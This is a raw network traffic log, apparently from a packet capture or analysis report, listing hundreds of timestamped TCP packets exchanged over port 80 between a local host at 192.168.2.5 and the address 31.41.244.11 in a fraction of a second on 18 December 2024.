Dec 18, 2024 19:08:52.140271902 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.140474081 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.140542030 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.142710924 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.142797947 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.142987013 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.143052101 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.145332098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.145414114 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.145690918 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.145760059 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.147820950 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.147989988 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.148019075 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.148089886 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.150340080 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.150441885 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.150494099 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.150558949 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.152936935 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.153018951 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.153179884 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.153242111 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.155482054 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.155560017 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.156239033 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.156313896 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.158137083 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.158216953 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.158628941 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.158881903 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.160558939 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.160629034 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.160645962 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.160690069 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.163228035 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.163325071 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.163855076 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.164072037 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.165556908 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.165642977 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.165653944 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.165724993 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.168051004 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.168133020 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.168184042 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.168236971 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.170665026 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.170737028 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.170754910 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.170788050 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.173310041 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.173401117 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.173408985 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.173472881 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.175765038 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.175849915 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.175883055 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.175947905 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.178457022 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.178508997 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.178539038 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.178575993 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.180917025 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.180928946 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.181194067 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.183537960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.183614969 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.183641911 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.183680058 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.185940027 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.186019897 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.186290979 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.186356068 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.188385010 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.188467026 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.188617945 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.188680887 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.191092014 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.191385984 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.191792011 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.192243099 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.193491936 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.193572998 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.193587065 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.193650007 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.196136951 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.196173906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.196196079 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.196232080 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.198651075 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.198905945 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.199130058 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.199197054 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.201205969 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.201283932 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.202383995 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.202469110 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.203614950 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.203686953 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.203696966 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.203743935 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.206183910 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.206667900 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.207288027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.209242105 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.209254980 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.209314108 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.211215973 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.211282969 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.211285114 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.211324930 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.213790894 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.213840961 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.213915110 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.213958979 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.216278076 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.216340065 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.216345072 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.216382027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.218823910 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.218874931 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.218981028 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.219023943 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.221434116 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.221501112 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.221952915 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.222003937 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.223898888 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.223948002 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.224103928 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.224139929 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.226469040 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.226524115 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.226694107 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.226731062 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.229063034 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.229109049 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.229129076 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.229175091 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.231556892 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.231612921 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.232131004 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.232173920 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.234029055 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.234090090 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.234112978 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.234159946 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.236569881 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.236632109 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.236658096 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.236670017 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.239171982 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.239284039 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.239343882 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.239378929 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.241719961 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.241776943 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.241869926 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.241913080 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.244160891 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.244210958 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.244244099 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.244292974 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.246728897 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.246777058 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.246897936 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.246942043 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.249219894 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.249270916 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.249464035 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.249514103 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.253530025 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.253587008 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.253612041 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.253652096 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.257944107 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.257997990 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.258085966 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.258131027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.261923075 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.261977911 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.262161016 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.262198925 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.265942097 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.266019106 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.266031027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.266056061 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.270083904 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.270150900 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.270231962 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.270279884 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.273933887 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.273984909 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.273993969 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.274019957 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.276915073 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.277059078 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.277183056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.277327061 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.279767990 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.279829025 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.279845953 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.279895067 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.282677889 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.282752037 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.282912970 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.282959938 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.285675049 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.285732985 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.285752058 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.285798073 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.288563013 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.288621902 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.289107084 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.289155960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.291481972 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.291541100 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.291701078 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.291748047 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.294388056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.294450045 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.294677973 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.294727087 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.297239065 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.297319889 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.297373056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.297422886 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.300075054 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.300127983 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.300180912 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.300247908 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.302948952 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.303013086 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.303040981 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.303088903 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.305759907 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.305826902 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.306133032 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.306181908 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.308552027 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.308612108 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.308737993 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.308787107 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.311355114 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.311414003 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.311599970 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.311753035 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.314115047 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.314177036 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.314246893 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.314291954 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.316900969 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.316961050 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.316992044 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.317035913 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.319632053 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.319685936 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.319783926 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.319828033 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.322494030 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.322547913 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.322566986 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.322606087 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.325223923 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.325284004 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.325552940 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.325599909 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.327961922 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.328016996 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.328088045 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.328145981 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.330713987 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.330776930 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.330832958 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.330878019 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.333445072 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.333484888 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.333506107 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.333522081 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.335989952 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.336042881 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.336477041 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.336523056 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.338705063 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.338754892 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.338787079 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.338841915 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.341305971 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.341367960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.341417074 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.341469049 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.344147921 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.344206095 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.344250917 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.344296932 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.346551895 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.346609116 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.346657038 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.346700907 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.349349976 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.349410057 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.349642992 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.349689960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.351830959 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.351883888 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.352062941 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.352112055 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.355010986 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.355077028 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.355746984 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.355798960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.357314110 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.357372046 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.357604027 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.357651949 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.359774113 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.359822989 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.359848976 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.359891891 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.362427950 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.362483978 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.362521887 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.362562895 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.365015984 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.365068913 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.365294933 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.365339041 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.367784023 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.367835999 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.368272066 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.368315935 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.370245934 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.370297909 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.370331049 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.370372057 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.372896910 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.372951984 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.372958899 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.372997046 CET	49739	80	192.168.2.5	31.41.244.11
